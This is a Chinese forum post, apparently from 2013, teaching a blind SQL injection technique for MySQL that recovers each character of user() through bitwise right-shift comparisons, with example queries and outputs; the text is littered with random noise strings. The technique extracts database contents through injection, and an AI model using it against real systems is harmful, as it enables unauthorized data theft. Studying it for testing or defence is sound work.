找回密码
 立即注册
查看: 2769|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位3 {+ z! n- b$ m' E  H6 v7 I6 c  B0 j
. }( t3 B/ b+ C0 w( J  c" i7 H
8 i1 S3 \/ ~! z$ [: I

; V* B6 r4 w# C$ ?7 Z下面将以查询mysql数据库当中user()的第一位为例:
3 P( I% U: @- ^2 {
2 n- @  U+ `6 P5 z : L9 Q. `; L$ T/ \; o

$ V+ V* J1 U" i& m$ U+ e7 H6 gps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
& v1 K8 p" u8 A3 O/ j+ {% K! ?

1 Y4 ?' H6 S: {/ l# z7 x3 X
' d+ E4 s) b0 E, n" Y8 ?& L首先执行如下sql语句:
9 T) q$ X" X! V9 \* \
' s" s7 ^% T4 ?/ @1 Q - z; N5 U/ D8 y( G4 ^3 j" m
1 @" m/ @! _3 z$ c% F4 \7 `8 Z( v7 v
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
3 o1 I. f4 m* G- j
( b, d: S5 Y6 V' _/ o. j0 W6 |   o3 k" j! r! z  L5 _

  H, [2 m2 p; h0 c我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
! x  d0 O* Q9 I4 r5 l2 b+ Q" g
- T) B4 H9 A$ v7 E+ M
% `# E0 v' N& P# O$ Y0 d, _4 \- T% n0 v4 A0 ?, Z% z; d( |
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为15 n4 h) l! y3 O  [! r! c: x2 D
) P5 [1 A- n/ m
5 [3 [" X7 Y/ T2 W& b7 B: o

, c( J5 {' z$ D" }/ F/ W如果运算结果为1,说明第一位为0,不为1  c* ~3 e% k- P
, l7 d9 L9 v( }: g' Y6 R

" r% ^9 F9 Z+ I* S- W  ^. _. F% |
1 O% N3 |' v! ]7 h+————————————–+* E% v7 O* h6 c

1 N, e' J5 [* y8 Z$ O: v| (ascii((substr(user(),1,1))) >> 7)=0 |( F! M& D4 \& l, j& Z( G
0 O4 f8 [6 k4 y2 n- l
+————————————–+
6 S( H9 I  @" \  t6 a
/ B8 i3 w3 |6 C5 V) E| 1 |
  j7 [  X# i4 \+ r% V" Y* s6 o+ n' K1 W; ~: X1 w
+————————————–+
. j+ o3 {" ]  X: z& s+ R& a* }) y7 O; V* ?, s
1 row in set (0.00 sec)
, J$ v' R5 W" Y' v
$ m3 ~6 \$ q4 q这样我们就确定这个8bit的ascii的第一位为0
- [( b) h. q4 T0 a0 q/ C, S7 `) _9 ~
5 D0 E2 j6 O, o# A- s) U- z5 D$ c
$ r1 [+ \5 M4 V. H4 B" n$ I$ p. j% v* T  d% ]2 \
第二次我们来做6次右偏移来确定前两位
, {% w# r% E1 q. U+ d! Z
; [$ e3 |0 y4 f$ Z5 J0 R
$ r- W3 q- p, o0 H4 h; s
/ \( O! x8 Q; q3 u! o1 t前两位可能是01或00,即依然可以与0做比较,
, z" G1 v- w: c( V0 l2 X: Y, T$ [! \" ~2 [9 s
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
- T5 U* U: \  u( K6 p( A6 T* j9 g7 h5 m3 y
+————————————–+7 i- t4 g6 x; }/ ?  |, e, ~* L
& f1 J& N) O$ Z  m
| (ascii((substr(user(),1,1))) >> 6)=0 |
, b6 J/ O6 H: t
  u$ F4 B5 a. `+————————————–+0 S, S3 _! a; h6 w

7 g/ q) D* Z$ d# Z: j| 0 |. f+ N/ ^0 `1 v* g, A6 c

0 Q: [! O+ a: ?% W; X+————————————–+8 V/ N- {0 _/ U3 q
9 P: z. M! w8 c  |
1 row in set (0.00 sec)' v0 i& Z0 \* A! ?+ v4 V

) \- Z1 _- }! \, t5 R$ U4 w
7 e: g1 t, s. k/ ]9 l) G" L; a/ V1 d6 ^; t, o. R9 i
结果为0,即第二位为13 d1 k  y9 c! ]! F7 ?0 I- ^

2 ?6 v$ `. J+ F  e4 _) H
  B( o! N# ~3 E9 ?& L3 X
  G2 t# Z2 A8 V5 a- A) U开始猜测前三位为010或011- M' w. c. e! @4 H3 R: C

* a! R; _- f3 \- Z- g $ q2 ?! u9 ?% ]* H" g

$ `, D, B) ~' C$ W4 F$ |$ o+ I, L让我们看看010和011的ascii码是多少9 i% H- ~, I! c$ ?2 q) J

' }4 \5 o/ B; C
# d5 f2 G. b! H4 ]% D: S6 v$ s* x
分别查询select b’011′ select b’010′  P3 M* W2 H) G9 N; y: F0 L" Z

0 w" M. D! |: Y% g. C7 h * `2 g8 l) n, E8 C2 X

& [& l/ U) N" x3 F' ?  @% W2 S/ e- k& k  ^获得结果 010 = 2 011 = 3
. y; k: p  c6 P5 l3 q9 [9 t( [" e, F8 N* ]6 N5 |
% g7 V$ h7 d( D

3 B' k$ H7 ]! |执行如下sql:
$ j" y8 d  F& o
1 p% g  n. W8 z1 G% l
& J% `# M) N: b7 X, {) z  B: E# q$ Y& z  w6 \0 @
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
/ j$ w) ^4 u6 [4 J8 b; I+ _2 X& n8 N0 ?7 \
+————————————–+, k* A3 Z' N% n/ t) Z2 M0 r4 |
% y8 ?( b" W+ `- Q# d7 a
| (ascii((substr(user(),1,1))) >> 5)=2 |3 U8 n# y2 }- I+ M: F6 ]
+ R' y8 ?1 P6 R$ F5 ?
+————————————–+! x- \3 h/ I; U' a  c6 V' l6 m: _

9 \) D" Q5 }7 H| 0 |0 ^9 M3 X" @4 o8 d
# Y3 {1 a' R) ^+ P
+————————————–+
+ Q$ j. z) J+ A$ M8 W1 V! g, g, M7 x, z. O* t) R
即前三位不为010,而是011, F( i6 H5 V( I, ]9 P

+ J5 c. I! o9 u 0 h0 l- u( d' A# G7 R' `

2 T7 h2 C, R7 F8 d8 N直到获得最后一位4 O1 e: z& F. T5 v1 G/ d
) Y5 L2 C- U/ h

3 l* y3 F9 X. L
, r8 ]8 T6 D) w9 ]* r3 R最终结果为:011100100 i) d2 t% W" ]3 d

6 l( s1 \, d: }1 V9 |- B
( l8 z3 x  A) U: K4 _$ G
+ L  E9 m( x/ Z; ?转换一下:
/ \$ i, [" A8 P8 a+ H4 O5 D( g2 `5 a6 \
* F+ K' b" V7 D9 a
8 g" [) Q5 E$ j6 Q/ D
select b’01110010′9 x' o9 C( M1 d+ R6 C. M, l% U
/ T6 p, V9 k5 S3 _

7 d' O# s0 X; T9 Q' ?8 y+ I' ^* }) Z# @
查询结果; C( J& `# q3 V& ^+ p5 H; H: \. k, z

0 {" s3 R& ^& W& Q
, a# V( n* |( B/ ]  }# R& ~, X: W" R- {
+————-+
( ?& H! @$ b( N; s$ Q0 Q
3 Q( ^2 t$ [) p* O9 _| b’01110010′ |" @& i. U( l+ H  ~# c  n7 l! G
3 U& a8 I$ s% t; y+ O8 x; [
+————-+* ?; ?9 Q9 v( [6 ?+ K
, f4 u5 `3 i3 W8 A
| r |
' ?% t4 y: R  H! `! D; k
3 [, t' \) F& K; L. v% d+————-+
: l; ~1 Q4 ]9 N& e  V! s! L1 R+ q1 r) I3 l! ]- _! I  z+ H
1 row in set (0.00 sec)
: t8 E* z) ]2 c2 t
1 T6 @$ V7 c" Q! X  B , d# j# ]" _2 G6 [" w+ F6 E! Z& ^( i
3 `( l* L) a! A( t: ?
这样我们就获得了user()的第一位.其它位依此类推- i' H9 s$ Q) _1 ?& N' m$ a

  g5 ]8 |! z; X5 W
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表